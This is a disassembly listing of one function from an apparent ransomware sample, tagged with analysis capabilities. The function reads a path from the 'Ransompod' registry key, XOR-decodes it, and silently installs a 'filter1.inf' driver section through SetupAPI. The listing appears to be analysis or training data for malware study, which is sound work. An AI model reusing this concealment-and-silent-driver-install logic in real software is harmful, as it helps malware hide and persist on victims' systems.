Function at 0x40a0d0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x2011f
push 0
push str.SOFTWARERansompod
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40a10c
mov eax, 1
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push str.Path_32
push dword [ebp - 8]
call edi
mov eax, dword [ebp - 4]
add eax, 2
push eax
call fcn.0045669c
mov esi, eax
add esp, 4
test esi, esi
jne 0x40a14f
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
lea eax, [esi + 2]
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
add eax, 2
push eax
push 0
push esi
call fcn.0044f970
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
push 0
push 0
push str.Path_32
push dword [ebp - 8]
call edi
test eax, eax
je 0x40a195
push esi
call fcn.004533f0
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 3
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 4]
xor eax, eax
mov dword [ebp - 8], 0
test edx, edx
je 0x40a219
cmp edx, 0x40
jb 0x40a205
movaps xmm2, xmmword [0x636a50]
lea ecx, [esi + 0x20]
mov edi, edx
and edi, 0xffffffc0
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
pxor xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x30]
pxor xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edi
jb 0x40a1c2
cmp eax, edx
jae 0x40a219
nop dword [eax]
xor byte [eax + esi], 0xdf
inc eax
cmp eax, edx
jb 0x40a210
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
test edi, edi
jne 0x40a245
push esi
call fcn.004533f0
add esp, 4
lea eax, [edi + 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi*2 + 4]
push ebx
push eax
call fcn.0045669c
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40a26f
push esi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 5]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi*2 + 4]
push eax
push 0
push ebx
call fcn.0044f970
add esp, 0xc
push edi
push ebx
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x40a2b3
push ebx
call fcn.004533f0
push esi
call fcn.004533f0
add esp, 8
mov eax, 6
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.004533f0
mov ecx, ebx
add esp, 4
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a2c1
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 0x10]
mov dword [ebp - 4], eax
add eax, eax
push eax
call fcn.0045669c
mov edi, eax
add esp, 4
test edi, edi
jne 0x40a2fa
push ebx
call fcn.004533f0
add esp, 4
lea eax, [edi + 7]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
lea eax, [esi + esi]
push eax
push 0
push edi
call fcn.0044f970
push str.filter1.inf
push ebx
push 0x46c9bc
push esi
push edi
call fcn.004025c0
push ebx
call fcn.004533f0
mov ecx, edi
add esp, 0x24
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a330
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 0x16]
mov dword [ebp - 4], eax
add eax, eax
push eax
call fcn.0045669c
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40a369
push edi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 8]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
lea eax, [esi + esi]
push eax
push 0
push ebx
call fcn.0044f970
push edi
push str.DefaultInstall_0
push str._s_s
push esi
push ebx
call fcn.004025c0
add esp, 0x20
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40a3c8
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 8
mov eax, 9
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push ebx
push 0
push 0
call dword [sym.imp.SETUPAPI.dll_InstallHinfSectionW]
push ebx
call fcn.004533f0
push edi
call fcn.004533f0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret